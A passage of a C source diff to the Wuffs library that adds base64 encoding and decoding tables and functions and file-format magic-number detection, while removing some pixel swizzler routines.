0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. ++ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 2; +- n -= loop_unroll_count; +- } ++ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. ++ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. ++ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. ++ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. ++ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. ++ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. ++ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. ++ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. + +- while (n >= 1) { +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- return len; +-} ++static const uint8_t wuffs_base__base_64__decode_url[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. ++ 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. ++ 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. ++ 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. ++ 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. ++ 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. ++ 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. ++ 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. ++ 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. + +- // TODO: unroll. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u16le__no_bounds_check( +- d + (0 * 2), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( +- wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0))); ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++static const uint8_t wuffs_base__base_64__encode_std[64] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. ++ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. ++ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. ++ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. ++ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. ++ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. ++ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. ++}; + +- return len; +-} ++static const uint8_t wuffs_base__base_64__encode_url[64] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. ++ 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. ++ 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. ++ 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. ++ 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. ++ 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. ++ 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. ++ 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. ++}; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len2 = dst_len / 2; +- size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) ++ ? wuffs_base__base_64__decode_url ++ : wuffs_base__base_64__decode_std; ++ wuffs_base__transform__output o; ++ uint8_t* d_ptr = dst.ptr; ++ size_t d_len = dst.len; ++ const uint8_t* s_ptr = src.ptr; ++ size_t s_len = src.len; ++ bool pad = false; + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); +- } ++ while (s_len >= 4) { ++ uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ uint32_t s2 = alphabet[0xFF & (s >> 16)]; ++ uint32_t s3 = alphabet[0xFF & (s >> 24)]; + +- s += 1 * 1; +- d += 1 * 2; +- n -= 1; +- } ++ if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { ++ if (s_len > 4) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } else if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && ++ (s_ptr[3] == '=')) { ++ pad = true; ++ if (s_ptr[2] == '=') { ++ goto src2; ++ } ++ goto src3; ++ } ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } + +- return len; +-} ++ if (d_len < 3) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } + +-// -------- ++ s_ptr += 4; ++ s_len -= 4; ++ s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ *d_ptr++ = (uint8_t)(s >> 8); ++ *d_ptr++ = (uint8_t)(s >> 0); ++ d_len -= 3; ++ } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } + +- // TODO: unroll. ++ if (s_len == 0) { ++ o.status.repr = NULL; ++ goto done; ++ } else if (s_len == 1) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } else if (s_len == 2) { ++ goto src2; ++ } + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++src3: ++ do { ++ uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ uint32_t s2 = alphabet[0xFF & (s >> 16)]; ++ if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } ++ if (d_len < 2) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ s_ptr += pad ? 4 : 3; ++ s = (s0 << 18) | (s1 << 12) | (s2 << 6); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ *d_ptr++ = (uint8_t)(s >> 8); ++ o.status.repr = NULL; ++ goto done; ++ } while (0); + +- s += 1 * 2; +- d += 1 * 3; +- n -= 1; +- } ++src2: ++ do { ++ uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); ++ uint32_t s0 = alphabet[0xFF & (s >> 0)]; ++ uint32_t s1 = alphabet[0xFF & (s >> 8)]; ++ if ((s0 & 0xC0) || (s1 & 0xCF)) { ++ o.status.repr = wuffs_base__error__bad_data; ++ goto done; ++ } ++ if (d_len < 1) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ s_ptr += pad ? 4 : 2; ++ s = (s0 << 18) | (s1 << 12); ++ *d_ptr++ = (uint8_t)(s >> 16); ++ o.status.repr = NULL; ++ goto done; ++ } while (0); + +- return len; ++done: ++ o.num_dst = (size_t)(d_ptr - dst.ptr); ++ o.num_src = (size_t)(s_ptr - src.ptr); ++ return o; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // ++wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 src, ++ bool src_closed, ++ uint32_t options) { ++ const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) ++ ? wuffs_base__base_64__encode_url ++ : wuffs_base__base_64__encode_std; ++ wuffs_base__transform__output o; ++ uint8_t* d_ptr = dst.ptr; ++ size_t d_len = dst.len; ++ const uint8_t* s_ptr = src.ptr; ++ size_t s_len = src.len; + +- // TODO: unroll. ++ do { ++ while (s_len >= 3) { ++ if (d_len < 4) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); ++ s_ptr += 3; ++ s_len -= 3; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 6)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 0)]; ++ d_len -= 4; ++ } + +- while (n >= 1) { +- uint32_t s0 = +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ if (!src_closed) { ++ o.status.repr = wuffs_base__suspension__short_read; ++ goto done; ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++ if (s_len == 2) { ++ if (d_len < ++ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) ++ << 8; ++ s_ptr += 2; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 6)]; ++ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { ++ *d_ptr++ = '='; ++ } ++ o.status.repr = NULL; ++ goto done; + +- return len; +-} ++ } else if (s_len == 1) { ++ if (d_len < ++ ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { ++ o.status.repr = wuffs_base__suspension__short_write; ++ goto done; ++ } ++ uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) ++ << 16; ++ s_ptr += 1; ++ *d_ptr++ = alphabet[0x3F & (s >> 18)]; ++ *d_ptr++ = alphabet[0x3F & (s >> 12)]; ++ if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { ++ *d_ptr++ = '='; ++ *d_ptr++ = '='; ++ } ++ o.status.repr = NULL; ++ goto done; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ } else { ++ o.status.repr = NULL; ++ goto done; ++ } ++ } while (0); + +- // TODO: unroll. ++done: ++ o.num_dst = (size_t)(d_ptr - dst.ptr); ++ o.num_src = (size_t)(s_ptr - src.ptr); ++ return o; ++} + +- while (n >= 1) { +- uint32_t s0 = +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) + +- return len; +-} ++// ---------------- Magic Numbers + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// ICO doesn't start with a magic identifier. Instead, see if the opening bytes ++// are plausibly ICO. ++// ++// Callers should have already verified that (prefix_data.len >= 2) and the ++// first two bytes are 0x00. ++// ++// See: ++// - https://docs.fileformat.com/image/ico/ ++static int32_t // ++wuffs_base__magic_number_guess_fourcc__maybe_ico( ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // Allow-list for the Image Type field. ++ if (prefix_data.len < 4) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[3] != 0) { ++ return 0; ++ } ++ switch (prefix_data.ptr[2]) { ++ case 0x01: // ICO ++ case 0x02: // CUR ++ break; ++ default: ++ return 0; ++ } + +- // TODO: unroll. ++ // The Number Of Images should be positive. ++ if (prefix_data.len < 6) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { ++ return 0; ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ // The first ICONDIRENTRY's fourth byte should be zero. ++ if (prefix_data.len < 10) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[9] != 0) { ++ return 0; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // TODO: have a separate FourCC for CUR? ++ return 0x49434F20; // 'ICO 'be ++} + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++// TGA doesn't start with a magic identifier. Instead, see if the opening bytes ++// are plausibly TGA. ++// ++// Callers should have already verified that (prefix_data.len >= 2) and the ++// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or ++// 0x01. ++// ++// See: ++// - https://docs.fileformat.com/image/tga/ ++// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf ++static int32_t // ++wuffs_base__magic_number_guess_fourcc__maybe_tga( ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // Allow-list for the Image Type field. ++ if (prefix_data.len < 3) { ++ return prefix_closed ? 0 : -1; ++ } ++ switch (prefix_data.ptr[2]) { ++ case 0x01: ++ case 0x02: ++ case 0x03: ++ case 0x09: ++ case 0x0A: ++ case 0x0B: ++ break; ++ default: ++ // TODO: 0x20 and 0x21 are invalid, according to the spec, but are ++ // apparently unofficial extensions. ++ return 0; ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ // Allow-list for the Color Map Entry Size field (if the Color Map Type field ++ // is non-zero) or else all the Color Map fields should be zero. ++ if (prefix_data.len < 8) { ++ return prefix_closed ? 0 : -1; ++ } else if (prefix_data.ptr[1] != 0x00) { ++ switch (prefix_data.ptr[7]) { ++ case 0x0F: ++ case 0x10: ++ case 0x18: ++ case 0x20: ++ break; ++ default: ++ return 0; ++ } ++ } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | ++ prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { ++ return 0; ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ // Allow-list for the Pixel Depth field. ++ if (prefix_data.len < 17) { ++ return prefix_closed ? 0 : -1; ++ } ++ switch (prefix_data.ptr[16]) { ++ case 0x01: ++ case 0x08: ++ case 0x0F: ++ case 0x10: ++ case 0x18: ++ case 0x20: ++ break; ++ default: ++ return 0; + } + +- return len; ++ return 0x54474120; // 'TGA 'be + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++WUFFS_BASE__MAYBE_STATIC int32_t // ++wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // This is similar to (but different from): ++ // - the magic/Magdir tables under https://github.com/file/file ++ // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ + +- // TODO: unroll. ++ // table holds the 'magic numbers' (which are actually variable length ++ // strings). The strings may contain NUL bytes, so the "const char* magic" ++ // value starts with the length-minus-1 of the 'magic number'. ++ // ++ // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer ++ // matches) and finally by magic[2:]. When multiple entries match, the ++ // longest one wins. ++ // ++ // The fourcc field might be negated, in which case there's further ++ // specialization (see § below). ++ static struct { ++ int32_t fourcc; ++ const char* magic; ++ } table[] = { ++ {-0x30302020, "\x01\x00\x00"}, // '00 'be ++ {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ ++ {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD ++ {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 ++ {+0x424D5020, "\x01\x42\x4D"}, // BMP ++ {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF ++ {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) ++ {+0x4C5A4950, "\x04\x4C\x5A\x49\x50\x01"}, // LZIP ++ {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) ++ {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) ++ {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) ++ {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF ++ {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA ++ {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA ++ {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE ++ {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI ++ {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB ++ {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG ++ {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ ++ {+0x4A504547, "\x01\xFF\xD8"}, // JPEG ++ }; ++ static const size_t table_len = sizeof(table) / sizeof(table[0]); + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ if (prefix_data.len == 0) { ++ return prefix_closed ? 0 : -1; ++ } ++ uint8_t pre_first_byte = prefix_data.ptr[0]; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ int32_t fourcc = 0; ++ size_t i; ++ for (i = 0; i < table_len; i++) { ++ uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); ++ if (pre_first_byte < mag_first_byte) { ++ break; ++ } else if (pre_first_byte > mag_first_byte) { ++ continue; ++ } ++ fourcc = table[i].fourcc; + +- // Composite src 